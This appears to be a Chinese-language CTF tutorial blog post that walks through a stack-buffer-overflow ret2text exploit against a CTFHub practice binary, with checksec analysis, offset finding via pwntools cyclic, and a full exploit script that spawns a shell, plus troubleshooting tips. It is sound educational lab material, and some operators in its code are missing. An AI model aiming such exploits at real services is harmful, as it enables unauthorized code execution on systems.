CTF PWN入门实战:栈溢出原理与ret2text利用详解

发布时间:2026/7/23 12:36:20
CTF PWN入门实战:栈溢出原理与ret2text利用详解 1. 项目概述从零到一理解PWN与栈溢出实战如果你对CTFCapture The Flag竞赛中的PWN方向感兴趣或者想了解软件安全中“漏洞利用”究竟是怎么一回事那么“栈溢出”绝对是你绕不开的第一个也是最重要的里程碑。很多人觉得PWN高深莫测需要深厚的汇编和系统底层知识这没错但入门的第一步其实可以很“接地气”。今天我就以一个在CTFHub上非常经典的栈溢出入门题为例手把手带你走一遍完整的利用流程。我们的目标不是空谈理论而是让你能亲手写出一段能稳定拿到目标机器“控制权”的Python脚本。简单来说PWN题的核心就是找到目标程序通常是一个运行在远程服务器上的二进制可执行文件的漏洞并利用这个漏洞让程序执行我们想让它执行的代码从而“攻破”它拿到藏在里面的“flag”。栈溢出就是最古老、最经典的一种漏洞类型。它的原理是程序在栈上分配了一块固定大小的内存来存放数据比如我们输入的用户名但如果我们输入的数据长度超过了这块内存的预留大小多出来的数据就会“溢出”覆盖掉栈上其他重要的数据比如函数的返回地址。而ret2text则是利用栈溢出最基础的技巧之一我们不去自己写复杂的攻击代码shellcode而是直接“借用”目标程序里已经存在的、对我们有利的代码片段比如一个能调用系统命令的system(“/bin/sh”)函数通过覆盖返回地址让程序跳转到那里去执行。整个实战过程我们会依赖一个神器——pwntools。它是一个用Python编写的CTF框架和漏洞利用开发库能极大地简化我们与目标程序无论是本地文件还是远程服务交互、构造攻击载荷、调试分析的过程。可以说掌握了pwntools就拿到了PWN入门的钥匙。接下来我们不绕弯子直接进入实战拆解。2. 环境准备与目标分析搭建你的PWN实验场工欲善其事必先利其器。在开始写攻击脚本之前我们需要一个稳定、一致的实验环境。对于PWN学习我强烈推荐使用Linux系统Ubuntu是一个不错的选择。如果你用的是Windows可以通过WSLWindows Subsystem for Linux来获得一个完美的Linux命令行环境。2.1 基础工具安装首先我们需要安装一些核心工具。打开你的终端执行以下命令# 更新软件包列表 sudo apt update # 安装必备的编译和调试工具 sudo apt install -y gcc gdb python3 python3-pip # 安装pwntools。建议使用pip安装并指定源以加速 pip3 install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple # 安装一个用于反汇编和查看二进制文件结构的工具如checksec和ROPgadget sudo apt install -y binutils pip3 install ropgadget安装完成后在终端输入python3进入交互模式然后输入import pwn如果没有报错说明pwntools安装成功。2.2 目标程序获取与初步检查假设我们从CTFHub下载到了一个名为pwn_ret2text的题目附件。第一步不是急着运行而是先对它进行“体检”。# 给文件添加可执行权限 chmod x pwn_ret2text # 使用file命令查看文件类型 file pwn_ret2text # 输出可能类似pwn_ret2text: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]..., not stripped # 这告诉我们它是32位的ELF可执行文件并且“not stripped”意味着符号表还在便于分析。 # 使用checksecpwntools自带检查程序的安全编译选项 checksec pwn_ret2textchecksec的输出至关重要它可能如下所示Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segmentsArch: 32位小端序架构这是我们构造payload时需要牢记的。Stack: No canary found:栈溢出利用的关键前提。栈金丝雀Canary是一种保护机制会在函数返回前检查其值是否被改变。这里“未找到”意味着没有这个保护我们的溢出可以长驱直入。NX disabled:另一个重大利好。NXNo-eXecute是数据执行保护如果开启栈上的数据我们的shellcode就不能被执行。这里关闭了但本次我们用的是ret2text不依赖在栈上执行代码所以影响不大。但如果NX开启ret2text通常是更优选择。PIE: No PIE: 地址随机化Position-Independent Executable未开启。这意味着程序的代码段.text每次加载到内存的基地址是固定的这里是0x8048000。我们可以直接使用类似0x8048xxx这样的绝对地址而不需要计算偏移。RWX: Has RWX segments: 存在可读、可写、可执行的段这通常是危险的但同样本次不主要利用它。这个检查结果对我们非常友好没有栈保护没有地址随机化。这很符合入门题的特征降低了我们利用的难度。2.3 程序行为观察与逆向分析运行一下程序看看它做了什么./pwn_ret2text程序可能会打印一些提示信息比如“Welcome to CTFHub ret2text!”然后等待你的输入。你输入一串字符后程序可能原样输出或者直接退出。我们的任务就是通过输入超长的字符串让它崩溃并执行我们预设的代码。为了深入理解我们需要用反汇编工具看一眼。如果你熟悉IDA Pro或Ghidra当然最好但用objdump和gdb也能完成基础分析。# 使用objdump反汇编main函数 objdump -d pwn_ret2text | grep -A 20 “main:”通过反汇编我们需要找到两个关键信息存在漏洞的函数通常是使用了不安全函数如gets,scanf(“%s”, buf),strcpy等的函数。我们需要找到它并确定输入缓冲区的地址。后门函数或有用代码片段在ret2text中就是那个能直接给我们shell的system(“/bin/sh”)调用。这个函数可能叫shell、get_flag、win或者就是一个普通的system调用。我们可以用objdump或strings命令结合grep来搜索strings pwn_ret2text | grep -i “/bin/sh” objdump -d pwn_ret2text | grep -A 10 -B 5 “systemplt”假设我们通过分析发现漏洞函数是vuln它内部调用了gets。存在一个函数叫secure里面有一行代码system(“/bin/sh”)其地址是0x80485a6。注意在实际做题中这些地址和函数名需要你通过逆向分析自行确定。入门题往往会给出一些提示比如函数名本身就很有暗示性。pwntools的ELF模块可以帮我们方便地获取这些地址。3. 漏洞原理与利用链拆解理解栈的结构与覆盖逻辑在动手写脚本前我们必须从原理上搞清楚我们要做什么。这能让你在遇到问题时知道如何调试而不是盲目地试错。3.1 栈帧布局与函数调用当一个函数比如main调用vuln被调用时会在进程的栈空间里创建一个新的“栈帧”。这个栈帧里按顺序存放着函数参数如果是从右向左压栈。函数的返回地址Return Address这是最关键的部分它告诉函数执行完毕后应该回到调用它的下一条指令继续执行。在32位程序中这是一个4字节的内存地址。旧的栈帧基址Saved EBP保存调用者函数的栈基址以便返回时恢复。局部变量函数内部定义的变量比如那个用来存我们输入的字符数组buf。如果vuln函数中定义了char buf[100]那么栈布局大致如下地址从高到低增长高地址 ... 调用者栈帧 ---------------- -- vuln函数调用前的栈顶 返回地址 (4字节) 保存的ebp (4字节) buf[100] (100字节) ... 其他局部变量 低地址gets(buf)这个函数是“罪恶之源”它从标准输入读取数据到buf指向的内存直到遇到换行符或EOF并且不会检查buf的大小是否足够。如果我们输入了超过100个字符多出来的字符就会从buf的尾部开始向高地址方向“溢出”依次覆盖掉“其他局部变量”、“保存的ebp”最终覆盖到“返回地址”。3.2 构造攻击载荷Payload我们的目标就是用精心设计的数据去覆盖返回地址。这个数据就是我们的“攻击载荷”Payload。对于ret2textPayload的构成非常简单[ 填充垃圾数据 (Junk) ] [ 目标函数地址 (Address of system(“/bin/sh”)) ]填充垃圾数据它的长度需要刚好填满从buf起始位置到“返回地址”之前的所有空间。我们需要计算这个偏移量Offset。目标函数地址就是我们找到的那个secure函数地址0x80485a6的起始地址。当vuln函数执行ret指令时它会从栈顶弹出这个地址并跳转过去执行从而启动一个shell。3.3 如何确定偏移量确定偏移量是栈溢出利用中最需要技巧的一步。有几种方法静态分析通过反汇编计算buf到ebp的偏移。例如在vuln函数开头可能有sub esp, 0x78这样的指令来分配栈空间结合变量定义来计算。这对新手不太友好。动态调试推荐使用gdb和pwntools的cyclic工具。这是最准确、最常用的方法。首先生成一段带有特殊模式的长字符串比如150个字符。在gdb中运行程序输入这个字符串让程序崩溃。程序崩溃时eip指令指针寄存器的值会被我们覆盖的“返回地址”部分所控制。查看崩溃时eip的值或者栈上被覆盖的ebp然后用cyclic工具查找这个值在我们生成的模式串中的位置就能算出偏移量。我们将在下一部分的脚本中演示如何用pwntools自动化这个过程。4. 完整利用脚本编写与逐行解析理论清晰后我们开始编写最终的攻击脚本。我会将脚本命名为exp.py并逐部分解释。4.1 脚本框架与模式设置#!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * # 导入pwntools库 # 1. 设置上下文环境这非常重要 context(arch‘i386’, os‘linux’, log_level‘debug’) # arch: 指定架构为32位x86i386。如果是64位程序则设为‘amd64’。 # os: 操作系统。 # log_level‘debug’: 这会打印出pwntools与程序交互的所有详细数据便于调试。攻击成功后可以改为‘info’。 # 2. 定义目标可以是本地文件或远程服务 # 本地调试模式 elf ELF(‘./pwn_ret2text’) # 加载ELF文件方便后续获取符号地址 # 远程连接模式注释掉本地模式取消下面两行注释 # io remote(‘challenge.ctfhub.com‘, 10000) # elf ELF(‘./pwn_ret2text’) # 本地仍需有二进制文件用于分析 io elf.process() # 启动本地进程实操心得在开发阶段务必使用log_level‘debug’。它能让你看到发送和接收的每一个字节对于判断payload是否准确发送、程序输出是否符合预期至关重要。context的设置是很多新手容易忽略但极其重要的一步架构设置错误会导致打包p32,p64函数出错。4.2 计算精确的偏移量这是我们脚本的第一个关键步骤。我们采用动态调试的方法。# 3. 使用cyclic计算溢出偏移量 # 生成一个200字节的、易于定位的模式字符串 pattern cyclic(200) # 发送模式字符串触发崩溃 io.sendline(pattern) # 等待程序崩溃接收其输出如果有的话 io.wait() # 获取程序崩溃时的核心转储core dump从中提取eip/ebp的值 core io.corefile # 读取崩溃时栈指针esp附近的值或者直接读取eip寄存器被覆盖的值 # cyclic_find函数能根据一个4字节32位的值反推出它在模式串中的位置 offset cyclic_find(core.eip) # 如果是64位程序可能是core.rip # 或者如果eip没有被成功覆盖到模式串比如覆盖到了不可执行地址导致非法指令可以尝试查找被覆盖的ebp # offset cyclic_find(core.ebp) print(f“[*] 计算出的偏移量是{offset}”) # 通常这个offset会是 108, 112, 140 等值取决于buf的大小和栈对齐。运行这部分脚本程序会崩溃并打印出计算出的偏移量。记下这个数字比如是112。然后我们需要注释掉这段计算偏移的代码因为后续的正式攻击不需要再触发一次崩溃。这是开发-调试-定稿的标准流程。注意事项cyclic生成的模式串每4个字符都是唯一的。cyclic_find就是利用这个特性进行定位。确保你生成的模式串长度足够覆盖返回地址通常150-200字节足够。如果cyclic_find返回-1或报错说明传入的值不在模式串中可能是长度不够或者程序崩溃点不在我们覆盖的返回地址上需要结合gdb手动调试。4.3 获取后门函数地址并构造最终Payload偏移量确定后我们就可以构造最终的Payload了。# 4. 获取后门函数地址假设我们通过逆向已知函数名为‘secure’ # 方法1如果知道函数名用ELF对象的symbols字典 backdoor_addr elf.symbols[‘secure’] # 例如0x80485a6 # 方法2如果不知道函数名但知道包含‘/bin/sh’字符串或调用system的地址也可以硬编码不推荐 # backdoor_addr 0x80485a6 print(f“[*] 后门函数‘secure’的地址是{hex(backdoor_addr)}”) # 5. 构造最终的Payload # p32() 函数用于将整数打包成32位小端序的字节串。这是必须的 payload b‘A’ * offset p32(backdoor_addr) # 第一部分用‘A’0x41填充偏移量大小的空间 # 第二部分打包后的后门函数地址它将精确覆盖栈上的返回地址 print(f“[*] 构造的Payload长度{len(payload)}”) print(f“[*] Payload (十六进制): {payload.hex()}”)4.4 发送Payload与交互构造好Payload后就是发起攻击的时刻。# 6. 重新启动程序进程因为之前计算偏移时让它崩溃了 # 先关闭旧的进程 io.close() # 启动新的进程 io elf.process() # 7. 发送Payload io.sendline(payload) # 有些程序可能需要先接收一些提示信息再发送payload这时可以用 io.recvuntil(‘xxx:’) 先接收 # 8. 尝试切换到交互模式获取shell # 如果攻击成功程序会执行 system(“/bin/sh”)此时标准输入输出被连接到新的shell io.interactive()完整的脚本看起来是这样的已注释掉计算偏移的部分#!/usr/bin/env python3 from pwn import * context(arch‘i386’, os‘linux’, log_level‘debug’) elf ELF(‘./pwn_ret2text’) # 远程io remote(‘目标IP’, 端口) io elf.process() # —– 偏移量计算阶段运行一次得到offset后注释掉 —– # pattern cyclic(200) # io.sendline(pattern) # io.wait() # core io.corefile # offset cyclic_find(core.eip) # 假设得到 offset 112 # print(f“Offset: {offset}”) # io.close() # io elf.process() # 重新启动 # —– 计算结束 —– offset 112 # 这是通过上述步骤计算出的实际偏移量 backdoor_addr elf.symbols[‘secure’] # 或 0x80485a6 payload b‘A’ * offset p32(backdoor_addr) io.sendline(payload) io.interactive() # 希望在这里看到可爱的 ‘$’ 或者 ‘#’ 提示符运行这个脚本python3 exp.py如果一切顺利你会在终端里看到一个新的shell提示符可能是$这意味着你已经成功控制了目标程序你可以执行ls、cat flag等命令来读取flag。5. 实战调试与问题排查实录理论上很美好但实战中总会遇到各种问题。下面是我在无数次实战中总结的常见“翻车”点及排查技巧。5.1 程序崩溃但没拿到shell这是最常见的情况。打开debug日志仔细观察。问题1偏移量计算错误现象程序崩溃但eip没有被覆盖成我们预期的后门地址或者跳转到了一个非法地址。排查确认offset是否正确。再运行一次计算偏移的代码仔细核对。检查栈对齐。在某些编译优化下栈帧可能按16字节对齐导致实际偏移比计算的多几个字节。可以尝试offset4,offset-4等微调。一个技巧是在Payload中后门地址前插入4个nop指令\x90有时能增加容错。payload b‘A’*offset p32(backdoor_addr4) p32(backdoor_addr)构造一个错误的返回链有时能绕过某些检查但ret2text一般不这么用。使用GDB手动调试。在脚本中io elf.process()后加上gdb.attach(io)然后运行脚本它会自动打开一个gdb窗口附加到进程。你可以在vuln函数的ret指令处设断点查看栈内存确认返回地址是否被正确覆盖。io elf.process() gdb.attach(io, ‘b *0x8048xxxvuln函数ret地址’) # 附加gdb并下断点 pause() # 暂停脚本让你有时间在gdb里操作问题2后门函数地址错误现象程序跳转到了某个地址但随后发生段错误Segmentation fault。排查确认你获取的地址确实是函数入口点。用objdump -d pwn_ret2text | grep -A 5 “secure:“查看secure函数的反汇编确保0x80485a6是第一条指令push ebp的地址。注意PLT表与GOT表。如果你直接使用system函数的地址在动态链接的程序中通常应该跳转到systemplt过程链接表的地址而不是system函数在libc中的真实地址。ret2text利用的是程序本身的代码所以通常跳转到secure函数内部即可该函数内部已经处理好了system的调用。使用pwntools的ELF模块是更可靠的方式elf.symbols[‘secure’]或elf.plt[‘system’]。问题3栈平衡与参数传递现象跳转到了后门函数但函数执行出错比如system执行失败。排查这是ret2text相比ret2libc简单的地方因为我们跳转的是程序内一个完整的函数。但需要留意在32位程序中函数参数是通过栈传递的。如果secure函数是system(“/bin/sh”)那么它在被正常调用时其返回地址上方应该压入了参数“/bin/sh”的地址。当我们通过溢出直接跳转到secure函数中部比如call system指令处时栈顶可能不是函数期望的状态。因此我们通常跳转到函数的起始地址让函数自己的序言prologue来设置栈帧。确保没有破坏secure函数执行所需的环境。我们的溢出发生在vuln函数里跳转到secure时栈顶ESP指向的是我们Payload中后门地址之后的位置。如果secure函数期望栈上有其他数据就会出错。在基础题中这通常不是问题。5.2 能交互但命令执行失败现象io.interactive()后可以输入但输入命令没反应或提示“找不到命令”。排查输入输出缓冲问题有些程序或系统环境会对输入输出进行缓冲。尝试在Payload后发送一个换行符io.sendline(payload)已经做了或者在交互前手动刷新io.recv()掉所有可能的输出。TTY问题获得的shell可能不是一个完整的、交互式的TTY。这可能导致一些命令如su、vim行为异常但ls,cat通常没问题。pwntools的io.interactive()已经处理了大部分情况。如果确实需要全功能TTY可以使用pwnlib.tubes.ssh的shell或者更复杂的pty模块但入门题极少需要。字符串问题确保你发送的是字节串b‘...’或bytes而不是Unicode字符串。pwntools的函数通常要求字节串。5.3 本地成功但远程失败现象本地测试完美拿到shell但连接到远程服务器时脚本没反应或失败。排查网络与超时远程连接可能不稳定。在remote()时增加timeout参数io remote(‘host’, port, timeout5)。在发送和接收数据时使用io.recv(timeout2)。环境差异远程服务器上的二进制文件可能和你本地下载的附件略有不同虽然很少见。确保你使用的是题目提供的完全相同的二进制文件进行分析和偏移量计算。不要用自己编译的。libc版本差异对于ret2text由于不依赖libc函数地址这个问题不大。但如果你的Payload中硬编码了任何来自libc的地址在远程很可能失败。输出干扰远程服务可能会输出额外的横幅、提示信息干扰你的脚本。使用io.recvuntil(‘Welcome:‘)或io.recvline()来精确接收并消耗掉这些输出直到程序真正等待输入的地方。5.4 实用调试命令速查表当脚本不工作时别慌按顺序排查问题现象可能原因排查命令/方法程序不崩溃输入长度不够增加Payload长度用cyclic(300)测试cyclic_find失败覆盖位置不对或模式串太短用gdb.attach(io)查看崩溃时eip和栈内容跳转后段错误地址错误或栈状态不对objdump确认函数地址GDB单步跟入函数有shell但命令无效输出缓冲或TTY问题尝试io.sendline(‘cat flag; exit’)或io.clean(); io.interactive()远程无响应网络/超时/输出未处理加timeout用io.recvuntil()处理所有预期输出最后也是最关键的一点耐心阅读debug日志。pwntools的debug日志会打印出发送和接收的每一个字节的十六进制和ASCII表示这是你判断Payload是否准确、程序响应是否异常的终极依据。